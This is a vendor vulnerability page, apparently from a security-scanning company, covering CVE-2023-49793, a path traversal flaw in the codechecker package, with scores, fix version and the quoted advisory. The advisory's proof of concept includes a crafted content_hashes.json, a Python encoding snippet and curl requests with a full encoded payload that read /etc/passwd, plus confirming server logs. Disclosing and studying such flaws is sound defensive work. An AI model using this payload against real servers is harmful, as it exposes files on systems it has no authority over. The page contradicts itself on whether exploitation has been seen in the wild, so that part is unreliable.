How severe is CVE-2023-49793?

CVE-2023-49793 has a CVSS score of 6.5/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by CVE-2023-49793?

CVE-2023-49793 affects the following packages: codechecker (PyPI). Ecosystems affected: PyPI.

How do I fix CVE-2023-49793?

Update codechecker to 6.23.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-49793 is resolved across your whole dependency graph.

How do I detect CVE-2023-49793 in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for codechecker, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2023-49793 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against CVE-2023-49793?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2023-49793 can be triaged on real exposure rather than presence alone.

Is CVE-2023-49793 actively exploited in the wild?

Yes. There are 1 known exploit references for CVE-2023-49793, including 1 in-the-wild exploitation observed on GitHub and other sources. Treat this as actively exploitable and prioritize patching immediately. All exploit code should only be run in an isolated sandbox environment for research or authorized testing — never against production systems without explicit written authorization.

What is the EPSS score for CVE-2023-49793?

CVE-2023-49793 has an EPSS (Exploit Prediction Scoring System) score of 0.7%, placing it in the 53th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2023-49793?

CVE-2023-49793 is classified as Path Traversal (CWE-22). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was CVE-2023-49793 published, and has it been updated?

CVE-2023-49793 was published on June 24, 2024 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍

🐍 PyPI

Not in CISA KEV

MEDIUM severity

CVE-2023-49793 — codechecker

MEDIUMFix: Ericsson/codechecker@46bada4

CVE-2023-49793 is a medium-severity (CVSS 6.5) Path Traversal vulnerability in codechecker. 1 public exploit reference exists, so weaponization risk is real. A fix is available for codechecker — see the affected versions and patch details below.

Path traversal in `CodeChecker server` in the endpoint of `CodeChecker store`

Also known asGHSA-h26w-r4m5-8rrfPYSEC-2024-54

Published

Jun 24, 2024

Updated

Aug 12, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

1 known

Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2023-49793.

EPSS Exploitation Probability

via FIRST.org ↗

0.7%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs53th percentile — riskier than 53% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2023-49793 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

🐍codechecker

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

ZIP files uploaded to the server-side endpoint handling a CodeChecker store are not properly sanitized. An attacker can exercise a path traversal to make the CodeChecker server load and display files from an arbitrary location on the server machine.

Details

Target

The vulnerable endpoint is /<PRODUCT_URL>/v6.53/CodeCheckerService@massStoreRun.

Exploit overview

The attack is made possible by improper sanitization at one point in the process.

When the ZIP file is uploaded by CodeChecker store, it is first unzipped to a temporary directory (safely).
When deciding which files to insert into CodeChecker's internal database, the decision is made based on the content_hashes.json in the ZIP. An attacker has control over the contents of this file.
After reading that file, the paths specified in the JSON are normalized by this code: https://github.com/Ericsson/codechecker/blob/fa41e4e5d9566b5a4f5a80a27bddec73a5146f5a/web/server/codechecker_server/api/mass_store_run.py#L442-L444
Providing sufficiently many ../../s inside the content_hashes.json, an attacker can control the insertion of completely arbitrary files into CodeChecker's internal database.
This is confirmed in the log output:

mass_store_run.py:444 __store_source_files() - Storing source file: /etc/passwd

Once the file is inserted into the internal database, it can be displayed trivially on the Web interface. As CodeChecker doesn't distinguish between filenames after the ZIP is extraced, an attacker can define aliases in content_hashes.json.

mass_store_run.py:444 __store_source_files() - Storing source file: /home/discookie/.codechecker/tmpx7hg1teb/root/etc/passwd
mass_store_run.py:453 __store_source_files() - /etc/passwd not found or already stored.

The file is displayed in the Web UI if and only if there is at least one bug report in it. The bug reports are coming from the ZIP and the attacker can craft the required contents for this. If done so, the logs confirm the requirement for presenting the results of the exploit will be triggered:

hash.py:208 get_report_path_hash() - 2|12|Path traversal|/etc/passwdcore.DivideZero3d3a7db6520247eaf90719a53d7103e2

The server emits the contents of the injected files from the server's database to all users:

[!NOTE]
The file is shown with the contents as it was on the system when the exploited CodeChecker store was exercised. This attack does not allow the server to return the "live" contents of a file on the server's storage — the attacker(s) must recurringly exercise the exploit to keep the injected files "updated" in the database.

PoC

The minimal example that can trigger the exploit can be downloaded: PoC.zip.

The key to the exploit is the content_hashes.json file. The additional files create a report in the loaded /etc/passwd file, so it is displayed in the web UI.

<details><summary><tt>/content_hashes.json</tt></summary>

{"/../../../../../../../../../../../../../../../etc/passwd": "malformed_hash", "/etc/passwd": "malformed_hash"}

</details>

Uploading the ZIP to the server

The communication between the CodeChecker store and the server is done by transmitting the ZIP file in a Base64-encoded string.
Encoding the ZIP into the format of the API can be done with Python:

import base64
import zlib

with open("PoC.zip", "rb") as f:
    contents = f.read()
encoded = base64.b64encode(zlib.compress(contents))
print(encoded)

The result of the compression and encoding can be sent to the running server over the API. When the API is called, the exploit is exercised.

curl "<SERVER_URL>/<PRODUCT_URL>/v6.53/CodeCheckerService" \
    --data \
    '[1,"massStoreRun",1,0,{"1":{"str":"poc"},"3":{"str":"6.22.1"},"4":{"str":"<ENCODED_ZIP>"},"5":{"tf":0}}]'

curl "http://localhost:8001/Default/v6.53/CodeCheckerService" \
    --data \
    '[1,"massStoreRun",1,0,{"1":{"str":"poc"},"3":{"str":"6.22.1"},"4" {"str":"eJzNVk9vIzUUT3cpS4MqIcEB2Msw6oGV2vmXzKRZZVPYdpGqLSXSdrXqVquRM+NJhk7GI9tpN5Qe0SJx4MARCfEB+AaIE2glrnAAwY0DXwAQ4gT2ZCbj+ZNI2ROTWLaff+/5+edn+/XuXn2uXuOfi48frP7zh49Ym5eXWXFQSGFI7SEgQ0iU9wkKL2RVUZb4Q+qoESDk3JVvSvIIBB7CI+jGJuVNSV4MuOwx/16J/fvQP35QE74XWMEwQpgSNUMhnEfdEFCg5WoeMFxLc7Vtz2u0XVNvt0yrrbcA8JqN2MyUjK+YGeutk78fXqnVeLGWMTOCFLiAgilf63WJffIZxMRHIVujsZmIKEIBYYKTaZ9/F1kzhoRgBDktDnKhM4TOKcTyZgEDHMoM2+F4xJCN4qiDRiMQcm5PHhXHMp9kSzEMRZfe3Aag3296Ld2Ebrule6bnsbXp/WZjGxrA0TRNt6DeNG+U3DhH+NQPB7brY+hQhCfcrFqCoTGNxtSOAB1WAzAk44DaBI2xA23PDyDnqEBMjCRgFAVQiQKf0NiWEEp5+GWJsxAEkw/Y8rnp0ig59aMIcs604hD1R5BQNvE8p/pw4HNGdau9bTTaTaOpaJap66axWYGG8c4IWNPSrEazWXA/6ybNR+v1yyxa77Fo/WtlfPuja7UaL+Yy0Sqy2Nl5PAqkJCxuybqiyRIMWfCxjb0l3z96Z2tb3unWO2/svbd7dNy7I8VaUu/+7YP9XUneUtW3I2ZMVfeO9qTewf69I4nZUNU7h7IkDymNbqrq+fm5AjhKYaHJgez4YhRBTCcHzNgWU1Bc6spsmqn1nDtM6voO7dbXOqdw0nV9MAgRob5DOioXMDnAGPDGWopcm2IdQOGAxWUKZGJCMVtZ9wANfEeCGCPcURNZpsaPnc0PYlnRQRgqe/6Z78KHEKOysguJg/2IH9Cydo+dAYliwBcIgrKyT8gYxvegnV7EyLMDP4S2H05Fj2nZbMNtsE3vW6ahGc0WBF5ba+ltYDbclq41oFGeKECMm7yLM+oSElCQDa51fDb1AOKuzoyl7QzMz2wVWqsC8+VUgQuWO2p+M/n9Ibg72/Oc6+keRCJ2gUNTPLvF3Bw8oQuesR3IkTeXvrwXVRQuIrGaxkV+V1I5n8wcnYkyu9YIGMCqhS+I00QZg3AASU5X2JFiL0/OHHpEgsrrnUfRQpLm0bSIqAJVy/ve/P/43lHFbcj1xOOVyWfSTDZzveq+TQJDeIeFYCnYSJOkmZnUgXg0fZ9nay3c5XOu44DFIQFihGYLi/UGMISYvQOu3Z8sZ3uXZWC70wysfIEmT1RZa5pWVTqUNrI6fu669d7dlSs7tXlJ+UaS2EpJXZGi15PBldqrtU++6LQOr/2ycvr0z095/evn13/cY/V0knmZdTrJS6x8KSQTouWfn7weW/qe/Pvtu6xO+6LlcjYuWn66TJoiTj0xvV2+mB9+I8eHpannZfAic+srz5rPi358Ix98zOdP69c2rpf8KOdmoh9fX33GTE104+LJ7xt8+rT+7qeUjtXnOWaV/fYZBZ+9yHv/Ac5gmHc="},"5":{"tf":0}}]'

</details> <details><summary>Full server logs for the <tt>store</tt> processing</summary>

[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - server.py:342 do_POST() - 127.0.0.1:33352 -- [Anonymous] POST /Default/v6.53/CodeCheckerService@massStoreRun
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:61 __enter__() - [poc] Unzip storage file...
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:82 unzip() - Unzipping mass storage ZIP '/tmp/tmpenegwbxj.zip' to '/home/discookie/.codechecker/tmpx7hg1teb'...
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:64 __exit__() - [poc] Unzip storage file done... (duration: 0.0 sec)
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1298 store() - Using unzipped folder '/home/discookie/.codechecker/tmpx7hg1teb'
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:61 __enter__() - [poc] Store source files...
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1310 store() - [poc] Storing 2 source file(s).
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:444 __store_source_files() - Storing source file: /etc/passwd
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:444 __store_source_files() - Storing source file: /home/discookie/.codechecker/tmpx7hg1teb/root/etc/passwd
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:453 __store_source_files() - /etc/passwd not found or already stored.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:463 __store_source_files() - 17 fileid found
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:64 __exit__() - [poc] Store source files done... (duration: 0.01 sec)
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1363 store() - Storing into run 'poc' locked at '2023-10-25 14:30:31.615536'.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:686 __add_or_update_run() - Adding run 'poc'...
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:730 __add_or_update_run() - Adding run history.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:755 __add_or_update_run() - Adding run done.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:761 __add_or_update_run() - Storing analysis statistics done.
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:61 __enter__() - [poc] Store reports...
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1163 __store_reports() - Get reports from '/home/discookie/.codechecker/tmpx7hg1teb/reports' directory
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1163 __store_reports() - Get reports from '/home/discookie/.codechecker/tmpx7hg1teb/reports/a7d0fa2d60d08ff39d519756917aaf43' directory
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1175 __store_reports() - Parsing input file 'sample.plist'
[DEBUG][2023-10-25 14:30:31] {report-converter} [2043] <139754026274816> - hash.py:208 get_report_path_hash() - 2|12|Path traversal|/etc/passwdcore.DivideZero3d3a7db6520247eaf90719a53d7103e2
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:987 __process_report_file() - Storing report to the database...
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:827 __add_report_context() - Storing bug path positions.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:834 __add_report_context() - Storing bug path events.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:842 __add_report_context() - Storing notes.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:853 __add_report_context() - Storing macro expansions.
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1220 __store_reports() - [poc] Processed 1 analyzer result file(s).
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:64 __exit__() - [poc] Store reports done... (duration: 0.1 sec)
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1260 finish_checker_run() - Finishing checker run
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1397 store() - 'Anonymous' stored results (3 KB /decompressed/) to run 'poc' (id: 16)  in 0.15 seconds.
[INFO][2023-10-25 14:30:31] {store_time} [2043] <139754026274816> - mass_store_run.py:1414 store() - 2023-10-25T14:30:31.612326, 0.15s, "Default", "poc", 3KB, 1, 16
[DEBUG][2023-10-25 14:30:31] {profiler} [2043] <139754026274816> - profiler.py:59 debug_wrapper() - [0.173351s] massStoreRun

</details>

Impact

The path traversal vulnerability allows reading data on the machine of the CodeChecker server, with the same permission level as the CodeChecker server process. This allows for the exfiltration from the server-side storage medium. If the CodeChecker server is run with authentication enabled (not the default configuration), then the attack requires a valid user account on the CodeChecker server, with the permission to store to a database, and view the stored reports.

CVSS 3.1 Base Score: 6.5 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Reproducible up to version 6.22.1.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`codechecker`	all versions	6.23.0`pip install --upgrade 'codechecker==6.23.0'`

Exploits & PoCs

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

CodeChecker is an analyzer tooling, defect database and viewer extension…

github.comNVDJun 2024

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for codechecker, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update codechecker to 6.23.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-49793 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2023-49793 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2023-49793. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary ZIP files uploaded to the server-side endpoint handling a `CodeChecker store` are not properly sanitized. An attacker can exercise a path traversal to make the `CodeChecker server` load and display files from an arbitrary location on the server machine. ## Details ### Target The vulnerable endpoint is `/<PRODUCT_URL>/v6.53/CodeCheckerService@massStoreRun`. ### Exploit overview The attack is made possible by improper sanitization at one point in the process. 1. When the ZIP file is uploaded by `CodeChecker store`, it is first unzipped to a temporary directory (safely). 2. When

O3 Security · Impact-Aware SCA

Is CVE-2023-49793 in your dependencies?

O3 Security finds CVE-2023-49793 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works

CVSS Score

6.5/10CVSS v3 base

Vector breakdown

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

None

Availability

None

Raw vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CWE Classification

CWE-22Path Traversal

Weaponization

No known public exploit tooling found.

OpenSSF Scorecard

Package health score

codechecker

6.5/10

Code-Review10/10

Maintained10/10

Branch-ProtectionN/A

Assessed Sep 14, 2026

Timeline

Disclosed

Jun 24, 2024

First exploit

Jun 26, 2024

2 days after disclosure — rapid exploitation

Last updated

Aug 12, 2026

Identifiers

CVE-2023-49793

GHSA-h26w-r4m5-8rrf

PYSEC-2024-54

References

Advisorygithub.com Advisorygithub.com Advisorynvd.nist.gov Fixgithub.com Webgithub.com Packagegithub.com

Related vulnerabilities

Also affects codechecker

This CVE is medium severity; 7 of 7 other CVEs affecting codechecker are rated as high or higher (top: critical).

CVE-2026-25660CVE-2025-40843CVE-2025-1300CVE-2024-53829CVE-2024-10081CVE-2024-10082CVE-2021-44217

Same weakness: CWE-22

This CVE is medium severity; 1 of 1 other CVE with CWE-22 is rated as high or higher (top: high).

CVE-2026-63445Browse all CWE-22

Provenance

Sources

OSV.devNVDFIRST.org (EPSS)

Last verifiedAug 12, 2026

CVE-2023-49793 — codechecker

Exploitation Status

Proof-of-concept exploit code exists

EPSS Exploitation Probability

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

Description

Summary

Details

Target

Exploit overview

PoC

Uploading the ZIP to the server

Impact

Affected Packages

Detection & mitigation playbook

Detect

Fix

Workarounds

How O3 protects you

Frequently Asked Questions

Is CVE-2023-49793 in your dependencies?